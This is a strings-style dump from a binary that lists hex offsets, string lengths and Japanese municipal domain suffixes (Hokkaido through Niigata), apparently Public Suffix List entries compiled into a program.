0x19a1778 (34): hiroo.hokkaido.jp
0x19a17ac (38): hokuryu.hokkaido.jp
0x19a17e4 (36): hokuto.hokkaido.jp
0x19a181c (40): honbetsu.hokkaido.jp
0x19a1858 (42): horokanai.hokkaido.jp
0x19a1894 (40): horonobe.hokkaido.jp
0x19a18d0 (34): ikeda.hokkaido.jp
0x19a1904 (38): imakane.hokkaido.jp
0x19a193c (40): ishikari.hokkaido.jp
0x19a1978 (42): iwamizawa.hokkaido.jp
0x19a19b4 (36): iwanai.hokkaido.jp
0x19a19ec (44): kamifurano.hokkaido.jp
0x19a1a2c (40): kamikawa.hokkaido.jp
0x19a1a68 (46): kamishihoro.hokkaido.jp
0x19a1aa8 (48): kamisunagawa.hokkaido.jp
0x19a1aec (40): kamoenai.hokkaido.jp
0x19a1b28 (36): kayabe.hokkaido.jp
0x19a1b60 (40): kembuchi.hokkaido.jp
0x19a1b9c (38): kikonai.hokkaido.jp
0x19a1bd4 (42): kimobetsu.hokkaido.jp
0x19a1c10 (50): kitahiroshima.hokkaido.jp
0x19a1c54 (36): kitami.hokkaido.jp
0x19a1c8c (40): kiyosato.hokkaido.jp
0x19a1cc8 (42): koshimizu.hokkaido.jp
0x19a1d04 (40): kunneppu.hokkaido.jp
0x19a1d40 (40): kuriyama.hokkaido.jp
0x19a1d7c (48): kuromatsunai.hokkaido.jp
0x19a1dc0 (38): kushiro.hokkaido.jp
0x19a1df8 (38): kutchan.hokkaido.jp
0x19a1e30 (34): kyowa.hokkaido.jp
0x19a1e64 (38): mashike.hokkaido.jp
0x19a1e9c (40): matsumae.hokkaido.jp
0x19a1ed8 (36): mikasa.hokkaido.jp
0x19a1f10 (48): minamifurano.hokkaido.jp
0x19a1f54 (40): mombetsu.hokkaido.jp
0x19a1f90 (40): moseushi.hokkaido.jp
0x19a1fcc (36): mukawa.hokkaido.jp
0x19a2004 (38): muroran.hokkaido.jp
0x19a203c (32): naie.hokkaido.jp
0x19a2070 (40): nakagawa.hokkaido.jp
0x19a20ac (48): nakasatsunai.hokkaido.jp
0x19a20f0 (48): nakatombetsu.hokkaido.jp
0x19a2134 (34): nanae.hokkaido.jp
0x19a2168 (38): nanporo.hokkaido.jp
0x19a21a0 (36): nayoro.hokkaido.jp
0x19a21d8 (36): nemuro.hokkaido.jp
0x19a2210 (40): niikappu.hokkaido.jp
0x19a224c (32): niki.hokkaido.jp
0x19a2280 (46): nishiokoppe.hokkaido.jp
0x19a22c0 (46): noboribetsu.hokkaido.jp
0x19a2300 (36): numata.hokkaido.jp
0x19a2338 (38): obihiro.hokkaido.jp
0x19a2370 (34): obira.hokkaido.jp
0x19a23a4 (34): oketo.hokkaido.jp
0x19a23d8 (36): okoppe.hokkaido.jp
0x19a2410 (34): otaru.hokkaido.jp
0x19a2444 (34): otobe.hokkaido.jp
0x19a2478 (38): otofuke.hokkaido.jp
0x19a24b0 (42): otoineppu.hokkaido.jp
0x19a24ec (32): oumu.hokkaido.jp
0x19a2520 (34): ozora.hokkaido.jp
0x19a2554 (34): pippu.hokkaido.jp
0x19a2588 (40): rankoshi.hokkaido.jp
0x19a25c4 (34): rebun.hokkaido.jp
0x19a25f8 (42): rikubetsu.hokkaido.jp
0x19a2634 (38): rishiri.hokkaido.jp
0x19a266c (46): rishirifuji.hokkaido.jp
0x19a26ac (36): saroma.hokkaido.jp
0x19a26e4 (42): sarufutsu.hokkaido.jp
0x19a2720 (40): shakotan.hokkaido.jp
0x19a275c (34): shari.hokkaido.jp
0x19a2790 (40): shibecha.hokkaido.jp
0x19a27cc (40): shibetsu.hokkaido.jp
0x19a2808 (38): shikabe.hokkaido.jp
0x19a2840 (38): shikaoi.hokkaido.jp
0x19a2878 (42): shimamaki.hokkaido.jp
0x19a28b4 (38): shimizu.hokkaido.jp
0x19a28ec (42): shimokawa.hokkaido.jp
0x19a2928 (48): shinshinotsu.hokkaido.jp
0x19a296c (40): shintoku.hokkaido.jp
0x19a29a8 (42): shiranuka.hokkaido.jp
0x19a29e4 (38): shiraoi.hokkaido.jp
0x19a2a1c (42): shiriuchi.hokkaido.jp
0x19a2a58 (38): sobetsu.hokkaido.jp
0x19a2a90 (40): sunagawa.hokkaido.jp
0x19a2acc (34): taiki.hokkaido.jp
0x19a2b00 (36): takasu.hokkaido.jp
0x19a2b38 (40): takikawa.hokkaido.jp
0x19a2b74 (40): takinoue.hokkaido.jp
0x19a2bb0 (42): teshikaga.hokkaido.jp
0x19a2bec (38): tobetsu.hokkaido.jp
0x19a2c24 (34): tohma.hokkaido.jp
0x19a2c58 (42): tomakomai.hokkaido.jp
0x19a2c94 (36): tomari.hokkaido.jp
0x19a2ccc (32): toya.hokkaido.jp
0x19a2d00 (36): toyako.hokkaido.jp
0x19a2d38 (40): toyotomi.hokkaido.jp
0x19a2d74 (38): toyoura.hokkaido.jp
0x19a2dac (40): tsubetsu.hokkaido.jp
0x19a2de8 (42): tsukigata.hokkaido.jp
0x19a2e24 (38): urakawa.hokkaido.jp
0x19a2e5c (36): urausu.hokkaido.jp
0x19a2e94 (32): uryu.hokkaido.jp
0x19a2ec8 (42): utashinai.hokkaido.jp
0x19a2f04 (40): wakkanai.hokkaido.jp
0x19a2f40 (38): wassamu.hokkaido.jp
0x19a2f78 (36): yakumo.hokkaido.jp
0x19a2fb0 (36): yoichi.hokkaido.jp
0x19a2fe8 (26): aioi.hyogo.jp
0x19a3014 (30): akashi.hyogo.jp
0x19a3044 (24): ako.hyogo.jp
0x19a3070 (36): amagasaki.hyogo.jp
0x19a30a8 (30): aogaki.hyogo.jp
0x19a30d8 (28): asago.hyogo.jp
0x19a3108 (30): ashiya.hyogo.jp
0x19a3138 (28): awaji.hyogo.jp
0x19a3168 (34): fukusaki.hyogo.jp
0x19a319c (32): goshiki.hyogo.jp
0x19a31d0 (30): harima.hyogo.jp
0x19a3200 (30): himeji.hyogo.jp
0x19a3230 (34): ichikawa.hyogo.jp
0x19a3264 (32): inagawa.hyogo.jp
0x19a3298 (28): itami.hyogo.jp
0x19a32c8 (34): kakogawa.hyogo.jp
0x19a32fc (34): kamigori.hyogo.jp
0x19a3330 (34): kamikawa.hyogo.jp
0x19a3364 (28): kasai.hyogo.jp
0x19a3394 (30): kasuga.hyogo.jp
0x19a33c4 (36): kawanishi.hyogo.jp
0x19a33fc (26): miki.hyogo.jp
0x19a3428 (40): minamiawaji.hyogo.jp
0x19a3464 (40): nishinomiya.hyogo.jp
0x19a34a0 (36): nishiwaki.hyogo.jp
0x19a34d8 (24): ono.hyogo.jp
0x19a3504 (28): sanda.hyogo.jp
0x19a3534 (30): sannan.hyogo.jp
0x19a3564 (34): sasayama.hyogo.jp
0x19a3598 (26): sayo.hyogo.jp
0x19a35c4 (30): shingu.hyogo.jp
0x19a35f4 (36): shinonsen.hyogo.jp
0x19a362c (28): shiso.hyogo.jp
0x19a365c (30): sumoto.hyogo.jp
0x19a368c (30): taishi.hyogo.jp
0x19a36bc (26): taka.hyogo.jp
0x19a36e8 (38): takarazuka.hyogo.jp
0x19a3720 (34): takasago.hyogo.jp
0x19a3754 (30): takino.hyogo.jp
0x19a3784 (28): tamba.hyogo.jp
0x19a37b4 (32): tatsuno.hyogo.jp
0x19a37e8 (32): toyooka.hyogo.jp
0x19a381c (26): yabu.hyogo.jp
0x19a3848 (32): yashiro.hyogo.jp
0x19a387c (26): yoka.hyogo.jp
0x19a38a8 (30): yokawa.hyogo.jp
0x19a38d8 (28): ami.ibaraki.jp
0x19a3908 (32): asahi.ibaraki.jp
0x19a393c (32): bando.ibaraki.jp
0x19a3970 (38): chikusei.ibaraki.jp
0x19a39a8 (32): daigo.ibaraki.jp
0x19a39dc (40): fujishiro.ibaraki.jp
0x19a3a18 (36): hitachi.ibaraki.jp
0x19a3a50 (44): hitachinaka.ibaraki.jp
0x19a3a90 (46): hitachiomiya.ibaraki.jp
0x19a3ad0 (42): hitachiota.ibaraki.jp
0x19a3b0c (36): ibaraki.ibaraki.jp
0x19a3b44 (28): ina.ibaraki.jp
0x19a3b74 (38): inashiki.ibaraki.jp
0x19a3bac (32): itako.ibaraki.jp
0x19a3be0 (32): iwama.ibaraki.jp
0x19a3c14 (30): joso.ibaraki.jp
0x19a3c44 (34): kamisu.ibaraki.jp
0x19a3c78 (34): kasama.ibaraki.jp
0x19a3cac (36): kashima.ibaraki.jp
0x19a3ce4 (44): kasumigaura.ibaraki.jp
0x19a3d24 (30): koga.ibaraki.jp
0x19a3d54 (30): miho.ibaraki.jp
0x19a3d84 (30): mito.ibaraki.jp
0x19a3db4 (34): moriya.ibaraki.jp
0x19a3de8 (30): naka.ibaraki.jp
0x19a3e18 (38): namegata.ibaraki.jp
0x19a3e50 (32): oarai.ibaraki.jp
0x19a3e84 (32): ogawa.ibaraki.jp
0x19a3eb8 (36): omitama.ibaraki.jp
0x19a3ef0 (40): ryugasaki.ibaraki.jp
0x19a3f2c (32): sakai.ibaraki.jp
0x19a3f60 (42): sakuragawa.ibaraki.jp
0x19a3f9c (40): shimodate.ibaraki.jp
0x19a3fd8 (42): shimotsuma.ibaraki.jp
0x19a4014 (40): shirosato.ibaraki.jp
0x19a4050 (30): sowa.ibaraki.jp
0x19a4080 (32): suifu.ibaraki.jp
0x19a40b4 (38): takahagi.ibaraki.jp
0x19a40ec (44): tamatsukuri.ibaraki.jp
0x19a412c (32): tokai.ibaraki.jp
0x19a4160 (34): tomobe.ibaraki.jp
0x19a4194 (30): tone.ibaraki.jp
0x19a41c4 (34): toride.ibaraki.jp
0x19a41f8 (40): tsuchiura.ibaraki.jp
0x19a4234 (36): tsukuba.ibaraki.jp
0x19a426c (38): uchihara.ibaraki.jp
0x19a42a4 (34): ushiku.ibaraki.jp
0x19a42d8 (36): yachiyo.ibaraki.jp
0x19a4310 (38): yamagata.ibaraki.jp
0x19a4348 (34): yawara.ibaraki.jp
0x19a437c (30): yuki.ibaraki.jp
0x19a43ac (38): anamizu.ishikawa.jp
0x19a43e4 (34): hakui.ishikawa.jp
0x19a4418 (38): hakusan.ishikawa.jp
0x19a4450 (32): kaga.ishikawa.jp
0x19a4484 (36): kahoku.ishikawa.jp
0x19a44bc (40): kanazawa.ishikawa.jp
0x19a44f8 (40): kawakita.ishikawa.jp
0x19a4534 (38): komatsu.ishikawa.jp
0x19a456c (40): nakanoto.ishikawa.jp
0x19a45a8 (34): nanao.ishikawa.jp
0x19a45dc (32): nomi.ishikawa.jp
0x19a4610 (40): nonoichi.ishikawa.jp
0x19a464c (32): noto.ishikawa.jp
0x19a4680 (34): shika.ishikawa.jp
0x19a46b4 (32): suzu.ishikawa.jp
0x19a46e8 (38): tsubata.ishikawa.jp
0x19a4720 (38): tsurugi.ishikawa.jp
0x19a4758 (40): uchinada.ishikawa.jp
0x19a4794 (36): wajima.ishikawa.jp
0x19a47cc (28): fudai.iwate.jp
0x19a47fc (34): fujisawa.iwate.jp
0x19a4830 (34): hanamaki.iwate.jp
0x19a4864 (36): hiraizumi.iwate.jp
0x19a489c (30): hirono.iwate.jp
0x19a48cc (34): ichinohe.iwate.jp
0x19a4900 (38): ichinoseki.iwate.jp
0x19a4938 (34): iwaizumi.iwate.jp
0x19a496c (28): iwate.iwate.jp
0x19a499c (30): joboji.iwate.jp
0x19a49cc (34): kamaishi.iwate.jp
0x19a4a00 (38): kanegasaki.iwate.jp
0x19a4a38 (32): karumai.iwate.jp
0x19a4a6c (28): kawai.iwate.jp
0x19a4a9c (34): kitakami.iwate.jp
0x19a4ad0 (26): kuji.iwate.jp
0x19a4afc (30): kunohe.iwate.jp
0x19a4b2c (34): kuzumaki.iwate.jp
0x19a4b60 (30): miyako.iwate.jp
0x19a4b90 (34): mizusawa.iwate.jp
0x19a4bc4 (32): morioka.iwate.jp
0x19a4bf8 (30): ninohe.iwate.jp
0x19a4c28 (26): noda.iwate.jp
0x19a4c54 (32): ofunato.iwate.jp
0x19a4c88 (26): oshu.iwate.jp
0x19a4cb4 (32): otsuchi.iwate.jp
0x19a4ce8 (44): rikuzentakata.iwate.jp
0x19a4d28 (28): shiwa.iwate.jp
0x19a4d58 (40): shizukuishi.iwate.jp
0x19a4d94 (30): sumita.iwate.jp
0x19a4dc4 (34): tanohata.iwate.jp
0x19a4df8 (26): tono.iwate.jp
0x19a4e24 (30): yahaba.iwate.jp
0x19a4e54 (30): yamada.iwate.jp
0x19a4e84 (34): ayagawa.kagawa.jp
0x19a4eb8 (46): higashikagawa.kagawa.jp
0x19a4ef8 (34): kanonji.kagawa.jp
0x19a4f2c (36): kotohira.kagawa.jp
0x19a4f64 (30): manno.kagawa.jp
0x19a4f94 (36): marugame.kagawa.jp
0x19a4fcc (32): mitoyo.kagawa.jp
0x19a5000 (36): naoshima.kagawa.jp
0x19a5038 (32): sanuki.kagawa.jp
0x19a506c (34): tadotsu.kagawa.jp
0x19a50a0 (38): takamatsu.kagawa.jp
0x19a50d8 (34): tonosho.kagawa.jp
0x19a510c (36): uchinomi.kagawa.jp
0x19a5144 (30): utazu.kagawa.jp
0x19a5174 (36): zentsuji.kagawa.jp
0x19a51ac (36): akune.kagoshima.jp
0x19a51e4 (36): amami.kagoshima.jp
0x19a521c (36): hioki.kagoshima.jp
0x19a5254 (32): isa.kagoshima.jp
0x19a5288 (34): isen.kagoshima.jp
0x19a52bc (36): izumi.kagoshima.jp
0x19a52f4 (44): kagoshima.kagoshima.jp
0x19a5334 (38): kanoya.kagoshima.jp
0x19a536c (42): kawanabe.kagoshima.jp
0x19a53a8 (36): kinko.kagoshima.jp
0x19a53e0 (40): kouyama.kagoshima.jp
0x19a541c (46): makurazaki.kagoshima.jp
0x19a545c (44): matsumoto.kagoshima.jp
0x19a549c (46): minamitane.kagoshima.jp
0x19a54dc (42): nakatane.kagoshima.jp
0x19a5518 (50): nishinoomote.kagoshima.jp
0x19a555c (52): satsumasendai.kagoshima.jp
0x19a55a4 (32): soo.kagoshima.jp
0x19a55d8 (42): tarumizu.kagoshima.jp
0x19a5614 (36): yusui.kagoshima.jp
0x19a564c (36): aikawa.kanagawa.jp
0x19a5684 (36): atsugi.kanagawa.jp
0x19a56bc (34): ayase.kanagawa.jp
0x19a56f0 (42): chigasaki.kanagawa.jp
0x19a572c (34): ebina.kanagawa.jp
0x19a5760 (40): fujisawa.kanagawa.jp
0x19a579c (36): hadano.kanagawa.jp
0x19a57d4 (36): hakone.kanagawa.jp
0x19a580c (42): hiratsuka.kanagawa.jp
0x19a5848 (38): isehara.kanagawa.jp
0x19a5880 (36): kaisei.kanagawa.jp
0x19a58b8 (40): kamakura.kanagawa.jp
0x19a58f4 (40): kiyokawa.kanagawa.jp
0x19a5930 (38): matsuda.kanagawa.jp
0x19a5968 (52): minamiashigara.kanagawa.jp
0x19a59b0 (34): miura.kanagawa.jp
0x19a59e4 (34): nakai.kanagawa.jp
0x19a5a18 (40): ninomiya.kanagawa.jp
0x19a5a54 (38): odawara.kanagawa.jp
0x19a5a8c (28): oi.kanagawa.jp
0x19a5abc (32): oiso.kanagawa.jp
0x19a5af0 (44): sagamihara.kanagawa.jp
0x19a5b30 (40): samukawa.kanagawa.jp
0x19a5b6c (36): tsukui.kanagawa.jp
0x19a5ba4 (40): yamakita.kanagawa.jp
0x19a5be0 (36): yamato.kanagawa.jp
0x19a5c18 (40): yokosuka.kanagawa.jp
0x19a5c54 (40): yugawara.kanagawa.jp
0x19a5c90 (32): zama.kanagawa.jp
0x19a5cc4 (34): zushi.kanagawa.jp
0x19a5cf8 (24): aki.kochi.jp
0x19a5d24 (30): geisei.kochi.jp
0x19a5d54 (30): hidaka.kochi.jp
0x19a5d84 (42): higashitsuno.kochi.jp
0x19a5dc0 (24): ino.kochi.jp
0x19a5dec (30): kagami.kochi.jp
0x19a5e1c (26): kami.kochi.jp
0x19a5e48 (34): kitagawa.kochi.jp
0x19a5e7c (28): kochi.kochi.jp
0x19a5eac (30): mihara.kochi.jp
0x19a5edc (34): motoyama.kochi.jp
0x19a5f10 (30): muroto.kochi.jp
0x19a5f40 (30): nahari.kochi.jp
0x19a5f70 (34): nakamura.kochi.jp
0x19a5fa4 (32): nankoku.kochi.jp
0x19a5fd8 (36): nishitosa.kochi.jp
0x19a6010 (38): niyodogawa.kochi.jp
0x19a6048 (26): ochi.kochi.jp
0x19a6074 (28): okawa.kochi.jp
0x19a60a4 (28): otoyo.kochi.jp
0x19a60d4 (30): otsuki.kochi.jp
0x19a6104 (30): sakawa.kochi.jp
0x19a6134 (30): sukumo.kochi.jp
0x19a6164 (30): susaki.kochi.jp
0x19a6194 (26): tosa.kochi.jp
0x19a61c0 (40): tosashimizu.kochi.jp
0x19a61fc (26): toyo.kochi.jp
0x19a6228 (28): tsuno.kochi.jp
0x19a6258 (28): umaji.kochi.jp
0x19a6288 (30): yasuda.kochi.jp
0x19a62b8 (34): yusuhara.kochi.jp
0x19a62ec (38): amakusa.kumamoto.jp
0x19a6324 (32): arao.kumamoto.jp
0x19a6358 (30): aso.kumamoto.jp
0x19a6388 (34): choyo.kumamoto.jp
0x19a63bc (38): gyokuto.kumamoto.jp
0x19a63f4 (42): hitoyoshi.kumamoto.jp
0x19a6430 (46): kamiamakusa.kumamoto.jp
0x19a6470 (38): kashima.kumamoto.jp
0x19a64a8 (38): kikuchi.kumamoto.jp
0x19a64e0 (32): kosa.kumamoto.jp
0x19a6514 (40): kumamoto.kumamoto.jp
0x19a6550 (38): mashiki.kumamoto.jp
0x19a6588 (36): mifune.kumamoto.jp
0x19a65c0 (40): minamata.kumamoto.jp
0x19a65fc (46): minamioguni.kumamoto.jp
0x19a663c (36): nagasu.kumamoto.jp
0x19a6674 (42): nishihara.kumamoto.jp
0x19a66b0 (34): oguni.kumamoto.jp
0x19a66e4 (30): ozu.kumamoto.jp
0x19a6714 (36): sumoto.kumamoto.jp
0x19a674c (40): takamori.kumamoto.jp
0x19a6788 (30): uki.kumamoto.jp
0x19a67b8 (30): uto.kumamoto.jp
0x19a67e8 (36): yamaga.kumamoto.jp
0x19a6820 (36): yamato.kumamoto.jp
0x19a6858 (44): yatsushiro.kumamoto.jp
0x19a6898 (28): ayabe.kyoto.jp
0x19a68c8 (40): fukuchiyama.kyoto.jp
0x19a6904 (40): higashiyama.kyoto.jp
0x19a6940 (24): ide.kyoto.jp
0x19a696c (24): ine.kyoto.jp
0x19a6998 (26): joyo.kyoto.jp
0x19a69c4 (32): kameoka.kyoto.jp
0x19a69f8 (26): kamo.kyoto.jp
0x19a6a24 (26): kita.kyoto.jp
0x19a6a50 (26): kizu.kyoto.jp
0x19a6a7c (34): kumiyama.kyoto.jp
0x19a6ab0 (34): kyotamba.kyoto.jp
0x19a6ae4 (36): kyotanabe.kyoto.jp
0x19a6b1c (34): kyotango.kyoto.jp
0x19a6b50 (32): maizuru.kyoto.jp
0x19a6b84 (30): minami.kyoto.jp
0x19a6bb4 (48): minamiyamashiro.kyoto.jp
0x19a6bf8 (30): miyazu.kyoto.jp
0x19a6c28 (26): muko.kyoto.jp
0x19a6c54 (38): nagaokakyo.kyoto.jp
0x19a6c8c (32): nakagyo.kyoto.jp
0x19a6cc0 (30): nantan.kyoto.jp
0x19a6cf0 (36): oyamazaki.kyoto.jp
0x19a6d28 (28): sakyo.kyoto.jp
0x19a6d58 (28): seika.kyoto.jp
0x19a6d88 (30): tanabe.kyoto.jp
0x19a6db8 (24): uji.kyoto.jp
0x19a6de4 (36): ujitawara.kyoto.jp
0x19a6e1c (30): wazuka.kyoto.jp
0x19a6e4c (36): yamashina.kyoto.jp
0x19a6e84 (30): yawata.kyoto.jp
0x19a6eb4 (24): asahi.mie.jp
0x19a6ee0 (24): inabe.mie.jp
0x19a6f0c (20): ise.mie.jp
0x19a6f34 (30): kameyama.mie.jp
0x19a6f64 (28): kawagoe.mie.jp
0x19a6f94 (22): kiho.mie.jp
0x19a6fbc (30): kisosaki.mie.jp
0x19a6fec (22): kiwa.mie.jp
0x19a7014 (26): komono.mie.jp
0x19a7040 (26): kumano.mie.jp
0x19a706c (26): kuwana.mie.jp
0x19a7098 (32): matsusaka.mie.jp
0x19a70cc (24): meiwa.mie.jp
0x19a70f8 (26): mihama.mie.jp
0x19a7124 (32): minamiise.mie.jp
0x19a7158 (26): misugi.mie.jp
0x19a7184 (26): miyama.mie.jp
0x19a71b0 (26): nabari.mie.jp
0x19a71dc (24): shima.mie.jp
0x19a7208 (26): suzuka.mie.jp
0x19a7234 (22): tado.mie.jp
0x19a725c (24): taiki.mie.jp
0x19a7288 (22): taki.mie.jp
0x19a72b0 (26): tamaki.mie.jp
0x19a72dc (22): toba.mie.jp
0x19a7304 (20): tsu.mie.jp
0x19a732c (24): udono.mie.jp
0x19a7358 (30): ureshino.mie.jp
0x19a7388 (28): watarai.mie.jp
0x19a73b8 (32): yokkaichi.mie.jp
0x19a73ec (36): furukawa.miyagi.jp
0x19a7424 (54): higashimatsushima.miyagi.jp
0x19a746c (40): ishinomaki.miyagi.jp
0x19a74a8 (34): iwanuma.miyagi.jp
0x19a74dc (32): kakuda.miyagi.jp
0x19a7510 (28): kami.miyagi.jp
0x19a7540 (36): kawasaki.miyagi.jp
0x19a7578 (38): kesennuma.miyagi.jp
0x19a75b0 (36): marumori.miyagi.jp
0x19a75e8 (40): matsushima.miyagi.jp
0x19a7624 (46): minamisanriku.miyagi.jp
0x19a7664 (32): misato.miyagi.jp
0x19a7698 (32): murata.miyagi.jp
0x19a76cc (32): natori.miyagi.jp
0x19a7700 (34): ogawara.miyagi.jp
0x19a7734 (30): ohira.miyagi.jp
0x19a7764 (34): onagawa.miyagi.jp
0x19a7798 (30): osaki.miyagi.jp
0x19a77c8 (28): rifu.miyagi.jp
0x19a77f8 (32): semine.miyagi.jp
0x19a782c (34): shibata.miyagi.jp
0x19a7860 (46): shichikashuku.miyagi.jp
0x19a78a0 (34): shikama.miyagi.jp
0x19a78d4 (36): shiogama.miyagi.jp
0x19a790c (38): shiroishi.miyagi.jp
0x19a7944 (32): tagajo.miyagi.jp
0x19a7978 (30): taiwa.miyagi.jp
0x19a79a8 (28): tome.miyagi.jp
0x19a79d8 (32): tomiya.miyagi.jp
0x19a7a0c (32): wakuya.miyagi.jp
0x19a7a40 (32): watari.miyagi.jp
0x19a7a74 (36): yamamoto.miyagi.jp
0x19a7aac (26): zao.miyagi.jp
0x19a7ad8 (30): aya.miyazaki.jp
0x19a7b08 (34): ebino.miyazaki.jp
0x19a7b3c (36): gokase.miyazaki.jp
0x19a7b74 (34): hyuga.miyazaki.jp
0x19a7ba8 (40): kadogawa.miyazaki.jp
0x19a7be4 (44): kawaminami.miyazaki.jp
0x19a7c24 (32): kijo.miyazaki.jp
0x19a7c58 (40): kitagawa.miyazaki.jp
0x19a7c94 (40): kitakata.miyazaki.jp
0x19a7cd0 (38): kitaura.miyazaki.jp
0x19a7d08 (42): kobayashi.miyazaki.jp
0x19a7d44 (40): kunitomi.miyazaki.jp
0x19a7d80 (38): kushima.miyazaki.jp
0x19a7db8 (36): mimata.miyazaki.jp
0x19a7df0 (44): miyakonojo.miyazaki.jp
0x19a7e30 (40): miyazaki.miyazaki.jp
0x19a7e6c (42): morotsuka.miyazaki.jp
0x19a7ea8 (40): nichinan.miyazaki.jp
0x19a7ee4 (42): nishimera.miyazaki.jp
0x19a7f20 (38): nobeoka.miyazaki.jp
0x19a7f58 (34): saito.miyazaki.jp
0x19a7f8c (36): shiiba.miyazaki.jp
0x19a7fc4 (40): shintomi.miyazaki.jp
0x19a8000 (40): takaharu.miyazaki.jp
0x19a803c (40): takanabe.miyazaki.jp
0x19a8078 (40): takazaki.miyazaki.jp
0x19a80b4 (34): tsuno.miyazaki.jp
0x19a80e8 (28): achi.nagano.jp
0x19a8118 (36): agematsu.nagano.jp
0x19a8150 (28): anan.nagano.jp
0x19a8180 (28): aoki.nagano.jp
0x19a81b0 (30): asahi.nagano.jp
0x19a81e0 (34): azumino.nagano.jp
0x19a8214 (38): chikuhoku.nagano.jp
0x19a824c (34): chikuma.nagano.jp
0x19a8280 (30): chino.nagano.jp
0x19a82b0 (32): fujimi.nagano.jp
0x19a82e4 (32): hakuba.nagano.jp
0x19a8318 (28): hara.nagano.jp
0x19a8348 (32): hiraya.nagano.jp
0x19a837c (28): iida.nagano.jp
0x19a83ac (32): iijima.nagano.jp
0x19a83e0 (32): iiyama.nagano.jp
0x19a8414 (32): iizuna.nagano.jp
0x19a8448 (30): ikeda.nagano.jp
0x19a8478 (34): ikusaka.nagano.jp
0x19a84ac (26): ina.nagano.jp
0x19a84d8 (38): karuizawa.nagano.jp
0x19a8510 (36): kawakami.nagano.jp
0x19a8548 (28): kiso.nagano.jp
0x19a8578 (46): kisofukushima.nagano.jp
0x19a85b8 (36): kitaaiki.nagano.jp
0x19a85f0 (36): komagane.nagano.jp
0x19a8628 (32): komoro.nagano.jp
0x19a865c (38): matsukawa.nagano.jp
0x19a8694 (38): matsumoto.nagano.jp
0x19a86cc (30): miasa.nagano.jp
0x19a86fc (40): minamiaiki.nagano.jp
0x19a8738 (40): minamimaki.nagano.jp
0x19a8774 (44): minamiminowa.nagano.jp
0x19a87b4 (32): minowa.nagano.jp
0x19a87e8 (32): miyada.nagano.jp
0x19a881c (32): miyota.nagano.jp
0x19a8850 (38): mochizuki.nagano.jp
0x19a8888 (32): nagano.nagano.jp
0x19a88bc (32): nagawa.nagano.jp
0x19a88f0 (32): nagiso.nagano.jp
0x19a8924 (36): nakagawa.nagano.jp
0x19a895c (32): nakano.nagano.jp
0x19a8990 (42): nozawaonsen.nagano.jp
0x19a89cc (30): obuse.nagano.jp
0x19a89fc (30): ogawa.nagano.jp
0x19a8a2c (30): okaya.nagano.jp
0x19a8a5c (32): omachi.nagano.jp
0x19a8a90 (26): omi.nagano.jp
0x19a8abc (32): ookuwa.nagano.jp
0x19a8af0 (34): ooshika.nagano.jp
0x19a8b24 (30): otaki.nagano.jp
0x19a8b54 (30): otari.nagano.jp
0x19a8b84 (30): sakae.nagano.jp
0x19a8bb4 (32): sakaki.nagano.jp
0x19a8be8 (28): saku.nagano.jp
0x19a8c18 (32): sakuho.nagano.jp
0x19a8c4c (38): shimosuwa.nagano.jp
0x19a8c84 (44): shinanomachi.nagano.jp
0x19a8cc4 (36): shiojiri.nagano.jp
0x19a8cfc (28): suwa.nagano.jp
0x19a8d2c (32): suzaka.nagano.jp
0x19a8d60 (32): takagi.nagano.jp
0x19a8d94 (36): takamori.nagano.jp
0x19a8dcc (36): takayama.nagano.jp
0x19a8e04 (38): tateshina.nagano.jp
0x19a8e3c (34): tatsuno.nagano.jp
0x19a8e70 (38): togakushi.nagano.jp
0x19a8ea8 (32): togura.nagano.jp
0x19a8edc (28): tomi.nagano.jp
0x19a8f0c (28): ueda.nagano.jp
0x19a8f3c (28): wada.nagano.jp
0x19a8f6c (36): yamagata.nagano.jp
0x19a8fa4 (40): yamanouchi.nagano.jp
0x19a8fe0 (32): yasaka.nagano.jp
0x19a9014 (34): yasuoka.nagano.jp
0x19a9048 (38): chijiwa.nagasaki.jp
0x19a9080 (34): futsu.nagasaki.jp
0x19a90b4 (32): goto.nagasaki.jp
0x19a90e8 (36): hasami.nagasaki.jp
0x19a9120 (36): hirado.nagasaki.jp
0x19a9158 (30): iki.nagasaki.jp
0x19a9188 (38): isahaya.nagasaki.jp
0x19a91c0 (40): kawatana.nagasaki.jp
0x19a91fc (44): kuchinotsu.nagasaki.jp
0x19a923c (40): matsuura.nagasaki.jp
0x19a9278 (40): nagasaki.nagasaki.jp
0x19a92b4 (34): obama.nagasaki.jp
0x19a92e8 (34): omura.nagasaki.jp
0x19a931c (34): oseto.nagasaki.jp
0x19a9350 (36): saikai.nagasaki.jp
0x19a9388 (36): sasebo.nagasaki.jp
0x19a93c0 (34): seihi.nagasaki.jp
0x19a93f4 (42): shimabara.nagasaki.jp
0x19a9430 (48): shinkamigoto.nagasaki.jp
0x19a9474 (38): togitsu.nagasaki.jp
0x19a94ac (40): tsushima.nagasaki.jp
0x19a94e8 (34): unzen.nagasaki.jp
0x19a951c (24): ando.nara.jp
0x19a9548 (24): gose.nara.jp
0x19a9574 (28): heguri.nara.jp
0x19a95a4 (44): higashiyoshino.nara.jp
0x19a95e4 (30): ikaruga.nara.jp
0x19a9614 (26): ikoma.nara.jp
0x19a9640 (40): kamikitayama.nara.jp
0x19a967c (30): kanmaki.nara.jp
0x19a96ac (30): kashiba.nara.jp
0x19a96dc (34): kashihara.nara.jp
0x19a9710 (34): katsuragi.nara.jp
0x19a9744 (26): kawai.nara.jp
0x19a9770 (32): kawakami.nara.jp
0x19a97a4 (34): kawanishi.nara.jp
0x19a97d8 (26): koryo.nara.jp
0x19a9804 (32): kurotaki.nara.jp
0x19a9838 (28): mitsue.nara.jp
0x19a9868 (28): miyake.nara.jp
0x19a9898 (24): nara.nara.jp
0x19a98c4 (32): nosegawa.nara.jp
0x19a98f8 (22): oji.nara.jp
0x19a9920 (24): ouda.nara.jp
0x19a994c (26): oyodo.nara.jp
0x19a9978 (30): sakurai.nara.jp
0x19a99a8 (26): sango.nara.jp
0x19a99d4 (34): shimoichi.nara.jp
0x19a9a08 (42): shimokitayama.nara.jp
0x19a9a44 (28): shinjo.nara.jp
0x19a9a74 (24): soni.nara.jp
0x19a9aa0 (32): takatori.nara.jp
0x19a9ad4 (36): tawaramoto.nara.jp
0x19a9b0c (30): tenkawa.nara.jp
0x19a9b3c (26): tenri.nara.jp
0x19a9b68 (22): uda.nara.jp
0x19a9b90 (44): yamatokoriyama.nara.jp
0x19a9bd0 (40): yamatotakada.nara.jp
0x19a9c0c (30): yamazoe.nara.jp
0x19a9c3c (30): yoshino.nara.jp
0x19a9c6c (28): aga.niigata.jp
0x19a9c9c (32): agano.niigata.jp
0x19a9cd0 (32): gosen.niigata.jp
